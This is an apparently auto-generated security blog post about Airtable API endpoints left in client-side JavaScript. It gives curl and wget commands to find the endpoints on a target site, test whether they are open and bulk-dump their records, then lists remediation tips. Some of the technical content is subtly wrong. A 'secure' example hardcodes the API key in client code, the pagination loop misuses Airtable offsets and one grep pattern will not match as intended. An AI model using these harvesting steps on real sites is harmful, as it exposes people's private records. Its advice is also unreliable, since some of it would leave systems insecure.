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A critical bug bounty finding reveals how publicly accessible Airtable URLs can expose sensitive user records. Attackers can exploit improperly configured Airtable endpoints embedded in JavaScript (.js) files to harvest data without authentication.
You Should Know
1. Reconnaissance Phase
Use `curl` or `wget` to scan JavaScript files for Airtable API endpoints:
curl -s https://target.com/app.js | grep -i "airtable.com/api"
Alternatively, automate the process with `grep` and `awk`:
wget -qO- https://target.com/js/main.js | grep -oP 'https?://[^\s]+airtable[^\s]+' | sort -u
2. Testing Airtable Exposure
If an Airtable URL is found, verify its accessibility:
curl -I "https://api.airtable.com/v0/APP_ID/TABLE_NAME"
– HTTP 200/OK indicates public access.
– HTTP 403/Forbidden means restricted.
3. Extracting Data
If the endpoint is open, dump records using:
curl "https://api.airtable.com/v0/APP_ID/TABLE_NAME?api_key=KEY" | jq '.records'
For bulk extraction:
for i in {1..100}; do curl -s "https://api.airtable.com/v0/APP_ID/TABLE_NAME?offset=$i" | jq; done
4. Mitigation & Secure Coding
- Disable public sharing in Airtable settings.
- Implement API key authentication:
const Airtable = require('airtable'); const base = new Airtable({ apiKey: 'SECRET_KEY' }).base('APP_ID'); - Use CORS restrictions to block unauthorized domains.
5. Bug Bounty Reporting
- Proof of Concept (PoC): Include curl commands and extracted data samples.
- Impact: Unauthorized access to PII, financial records, or internal data.
What Undercode Say
This vulnerability highlights the risks of hardcoded API endpoints in client-side scripts. Developers must:
– Audit JS files for exposed secrets:
git log -p | grep -i "airtable|api_key"
– Use environment variables instead of hardcoding keys:
export AIRTABLE_KEY="your_key_here"
– Monitor for leaks with tools like truffleHog:
trufflehog --regex --entropy=False https://github.com/target/repo.git
For further hardening:
- Restrict IP access in Airtable.
- Rotate API keys periodically.
- Implement rate limiting to prevent scraping.
Prediction
As low-code platforms like Airtable grow, misconfigurations will lead to more data leaks. Automated scanning for exposed endpoints will become a standard bug bounty tactic.
Expected Output
A detailed report confirming public Airtable access, extracted data samples, and remediation steps.
Relevant URLs:
References:
Reported By: All Inbox – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
